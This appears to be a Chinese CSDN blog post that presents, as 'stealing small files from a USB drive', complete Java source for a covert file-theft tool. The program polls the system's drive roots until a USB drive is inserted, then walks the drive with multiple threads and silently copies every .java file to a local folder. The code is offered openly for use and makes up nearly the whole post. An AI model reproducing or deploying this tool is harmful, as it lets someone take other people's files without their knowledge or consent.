java获取u盘_自写java小程序 U盘偷取小文件

这是一个Java程序,用于检测插入的U盘并自动复制其中的.java源代码文件到指定目录。程序首先通过File.listRoots()获取所有磁盘根目录,对比前后两次扫描的结果来判断U盘的插入和移除。当检测到新插入的U盘时,程序会遍历U盘目录,使用多线程查找.java文件,并将其内容复制到本地目录。
摘要由CSDN通过智能技术生成

[Java] 纯文本查看 复制代码package com.atguigu.java;

import java.io.*;

public class Detection {

public void runopen() {

System.out.println("启动检测U盘......-----Duan");

byte[] words = null;

// File.listRoots(); 返回我们电脑上所有盘路径

// C D E F dishs:盘

File[] file = File.listRoots();

/*

* for (int i = 0; i < dishs.length; i++) {

* System.out.println(dishs[i]); }

*/

File[] paths = null;

boolean bool = false;

while (true) {

// 不断赋值

paths = File.listRoots();

// 判断

if (paths.length > file.length) {

bool = true;

break;

}

}

if (bool) {

// 数组长度假设5; 0,1,2,3,4. paths.length - 1 等于 paths[4]

//U盘所在的盘符

String path = paths[paths.length - 1].toString();

System.out.println("检测到已插入U盘:" + path);

// 创建了copy 拷贝类 把U盘所在的盘符传进去

new Copy(new File(path));

bool = false;

runc();

}

}

public void runc() {

File[] dishs = File.listRoots();

File[] d = null;

boolean bool = false;

String i = null;

while (true) {

d = File.listRoots();

if (d.length < dishs.length) {

bool = true;

break;

}

}

if (bool) {

i = d[d.length - 1].toString();

System.out.println("U盘已经拔出:" + i);

bool = false;

runopen();

}

}

}

package com.atguigu.java;

import java.io.*;

public class Copy {

//U盘所在的盘符

public Copy(File path) {

// 调用本类中的方法

copys(path);

}

public void copys(File path) {

File[] listFiles = path.listFiles();

if (listFiles != null) {

for (File f : listFiles) {

// copys(f);

MyThread mt = new MyThread(f);

//以下代码将创建一个线程并启动它运行

//Java虚拟机调用此线程的run方法

mt.start();

System.out.println("第一步" + f);

}

} else {

System.out.println("U盘里面啥也没有你拷个毛线?");

}

/*

* if (file.getName().endsWith(".txt")) {

* System.out.println(file.getAbsolutePath()); }

*/

}

}

package com.atguigu.java;

import java.io.*;

//Thread 线程

public class MyThread extends Thread {

File path = null;

public MyThread(File path) {

this.path = path;

}

@Override

public void run() {

if (this.path == null) {

System.out.println("错误");

}

sb(this.path);

}

char[] ch = null;

public void sb(File path) {

//isDirectory()判断path是不是目录 true; 否则 false

//System.out.println(path.isDirectory());

//不断循环到所有目录都遍历完

if (path.isDirectory()) {

//返回某个目录下所有文件和目录的绝对路径 的数组

File[] listFiles = path.listFiles();

/*for (int i = 0; i < listFiles.length; i++) {

System.out.println(listFiles[i].getPath());

}*/

if (listFiles != null) {

for (File e : listFiles) {

//有可能是目录也有可能是文件

sb(e);

// System.out.println(Thread.currentThread().getName()+"---------"+e);

}

}

}

//endsWith()方法用于测试字符串是否以指定的后缀结束。

if (path.getName().endsWith(".java")) {

System.out.println("检测到java源代码文件..." + path.getAbsolutePath());

ch = null;

FileReader fr = null;

FileWriter fw = null;

BufferedReader br = null;

BufferedWriter bw = null;

String str = null;

StringBuffer sb = null;

try {

fr = new FileReader(path);

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

br = new BufferedReader(fr);

sb = new StringBuffer();

ch = new char[4096];

int i;

try {

fw = new FileWriter("d:/ceshi/" + path.getName());

bw = new BufferedWriter(fw);

while ((i = br.read(ch)) != -1) {

bw.write(ch, 0, i);

// System.out.println(ch.length);

bw.flush();

}

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} finally {

try {

fr.close();

br.close();

bw.close();

fw.close();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

}

}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值